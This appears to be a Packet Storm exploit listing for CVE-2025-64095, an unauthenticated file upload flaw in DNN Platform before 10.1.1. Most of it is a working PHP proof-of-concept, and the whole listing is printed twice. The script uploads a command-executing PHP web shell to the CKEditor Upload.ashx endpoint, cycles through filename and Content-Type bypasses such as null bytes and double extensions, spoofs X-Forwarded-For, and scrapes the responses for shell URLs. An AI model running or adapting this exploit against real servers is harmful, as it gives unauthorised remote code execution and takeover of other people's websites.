10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
DNN Platform version Pre‑10.1.1 suffers from an unauthenticated arbitrary file upload vulnerability. This software was formerly known as DotNetNuke...
Basic Information
ID
PACKETSTORM:212536
Published
Dec 8, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : DNN Platform Pre‑10.1.1 Versions Unauthenticated Arbitrary File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://dnncommunity.org/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211134/ & CVE-2025-64095
[+] Summary : a vulnerability affecting DNN Platform (formerly DotNetNuke).Versions prior to 10.1.1 allow unauthenticated arbitrary file upload through the default HTML editor upload endpoint.
Missing permission checks in the file upload controller allowed attackers to upload files without authentication, and in some cases overwrite existing files.
[+] An attacker could:
Upload arbitrary files
Inject malicious content
Execute scripts depending on server configuration
[+] Vulnerable Versions :
All versions before 10.1.1 (e.g., 10.1.0, 10.0.x, 9.x, etc.)
[+] POC : * Usage: Save this file as: exploit.php
Run: php exploit.php
<?php
/*
PoC for CVE-2025-64095 - Unauthenticated File Upload
Author: Indoushka
*/
$target = "http://victim.com/Providers/HtmlEditorProviders/DNNConnect.CKE/Upload.ashx";
$file_to_upload = "shell.php";
// محتوى الملف الذي سيتم رفعه (شل PHP بسيط)
$php_shell = '<?php
if(isset($_GET["cmd"])) {
system($_GET["cmd"]);
} else {
echo "Shell Active - " . gethostname();
}
?>';
file_put_contents($file_to_upload, $php_shell);
// محاولات لأسماء ملفات مختلفة لتجاوز الحماية
$filenames = [
"shell.php",
"shell.php5",
"shell.phtml",
"shell.php.test",
"shell.php.jpg", // قد يتم تجاهل الامتداد الثاني في بعض الأنظمة
"shell.php%00.jpg", // null byte injection (إذا كان النظام معرض)
"shell.php;.jpg",
"shell.php ",
];
foreach ($filenames as $filename) {
echo "\n[+] Trying filename: $filename\n";
// اعداد الطلب
$boundary = "----Indoushka" . md5(time() . rand(1, 1000));
$post_data = "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"upload\"; filename=\"$filename\"\r\n";
$post_data .= "Content-Type: text/plain\r\n\r\n"; // قد تحتاج لتغيير Content-Type
$post_data .= $php_shell . "\r\n";
$post_data .= "--$boundary--\r\n";
// ارسال الطلب
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Content-Type: multipart/form-data; boundary=$boundary",
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"X-Forwarded-For: 127.0.0.1"
));
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// إضافة بروكسي للتصحيح (اختياري)
// curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($response === false){
echo "Error: " . curl_error($ch) . "\n";
} else {
echo "[+] HTTP Code: $http_code\n";
echo "[+] Response (first 500 chars):\n" . substr($response, 0, 500) . "\n";
// التحقق من وجود مؤشرات على نجاح الرفع
if (strpos($response, 'success') !== false ||
strpos($response, 'url') !== false ||
strpos($response, '.php') !== false) {
echo "[!] Possible successful upload detected!\n";
// محاولة استخراج رابط الملف المرفوع
preg_match_all('/"(http[^"]+\.php[^"]*)"/i', $response, $matches);
if (!empty($matches[1])) {
echo "[+] Found potential shell URLs:\n";
foreach ($matches[1] as $url) {
echo " - $url\n";
}
}
}
}
curl_close($ch);
sleep(1); // تجنب rate limiting
}
// محاولة برفع مع Content-Type مختلف
echo "\n[+] Trying with different Content-Type...\n";
$boundary = "----Indoushka" . md5(time());
$post_data = "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"upload\"; filename=\"shell.php\"\r\n";
$post_data .= "Content-Type: image/jpeg\r\n\r\n"; // Content-Type مضلل
$post_data .= $php_shell . "\r\n";
$post_data .= "--$boundary--\r\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Content-Type: multipart/form-data; boundary=$boundary"
));
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
echo "[+] Response with fake Content-Type: " . substr($response, 0, 300) . "\n";
curl_close($ch);
// تنظيف الملف المحلي
if (file_exists($file_to_upload)) {
unlink($file_to_upload);
}
echo "\n[!] Remember: Use only on systems you own or have permission to test!\n";
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : DNN Platform Pre‑10.1.1 Versions Unauthenticated Arbitrary File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://dnncommunity.org/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211134/ & CVE-2025-64095
[+] Summary : a vulnerability affecting DNN Platform (formerly DotNetNuke).Versions prior to 10.1.1 allow unauthenticated arbitrary file upload through the default HTML editor upload endpoint.
Missing permission checks in the file upload controller allowed attackers to upload files without authentication, and in some cases overwrite existing files.
[+] An attacker could:
Upload arbitrary files
Inject malicious content
Execute scripts depending on server configuration
[+] Vulnerable Versions :
All versions before 10.1.1 (e.g., 10.1.0, 10.0.x, 9.x, etc.)
[+] POC : * Usage: Save this file as: exploit.php
Run: php exploit.php
<?php
/*
PoC for CVE-2025-64095 - Unauthenticated File Upload
Author: Indoushka
*/
$target = "http://victim.com/Providers/HtmlEditorProviders/DNNConnect.CKE/Upload.ashx";
$file_to_upload = "shell.php";
// محتوى الملف الذي سيتم رفعه (شل PHP بسيط)
$php_shell = '<?php
if(isset($_GET["cmd"])) {
system($_GET["cmd"]);
} else {
echo "Shell Active - " . gethostname();
}
?>';
file_put_contents($file_to_upload, $php_shell);
// محاولات لأسماء ملفات مختلفة لتجاوز الحماية
$filenames = [
"shell.php",
"shell.php5",
"shell.phtml",
"shell.php.test",
"shell.php.jpg", // قد يتم تجاهل الامتداد الثاني في بعض الأنظمة
"shell.php%00.jpg", // null byte injection (إذا كان النظام معرض)
"shell.php;.jpg",
"shell.php ",
];
foreach ($filenames as $filename) {
echo "\n[+] Trying filename: $filename\n";
// اعداد الطلب
$boundary = "----Indoushka" . md5(time() . rand(1, 1000));
$post_data = "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"upload\"; filename=\"$filename\"\r\n";
$post_data .= "Content-Type: text/plain\r\n\r\n"; // قد تحتاج لتغيير Content-Type
$post_data .= $php_shell . "\r\n";
$post_data .= "--$boundary--\r\n";
// ارسال الطلب
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Content-Type: multipart/form-data; boundary=$boundary",
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"X-Forwarded-For: 127.0.0.1"
));
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// إضافة بروكسي للتصحيح (اختياري)
// curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($response === false){
echo "Error: " . curl_error($ch) . "\n";
} else {
echo "[+] HTTP Code: $http_code\n";
echo "[+] Response (first 500 chars):\n" . substr($response, 0, 500) . "\n";
// التحقق من وجود مؤشرات على نجاح الرفع
if (strpos($response, 'success') !== false ||
strpos($response, 'url') !== false ||
strpos($response, '.php') !== false) {
echo "[!] Possible successful upload detected!\n";
// محاولة استخراج رابط الملف المرفوع
preg_match_all('/"(http[^"]+\.php[^"]*)"/i', $response, $matches);
if (!empty($matches[1])) {
echo "[+] Found potential shell URLs:\n";
foreach ($matches[1] as $url) {
echo " - $url\n";
}
}
}
}
curl_close($ch);
sleep(1); // تجنب rate limiting
}
// محاولة برفع مع Content-Type مختلف
echo "\n[+] Trying with different Content-Type...\n";
$boundary = "----Indoushka" . md5(time());
$post_data = "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"upload\"; filename=\"shell.php\"\r\n";
$post_data .= "Content-Type: image/jpeg\r\n\r\n"; // Content-Type مضلل
$post_data .= $php_shell . "\r\n";
$post_data .= "--$boundary--\r\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Content-Type: multipart/form-data; boundary=$boundary"
));
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
echo "[+] Response with fake Content-Type: " . substr($response, 0, 300) . "\n";
curl_close($ch);
// تنظيف الملف المحلي
if (file_exists($file_to_upload)) {
unlink($file_to_upload);
}
echo "\n[!] Remember: Use only on systems you own or have permission to test!\n";
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================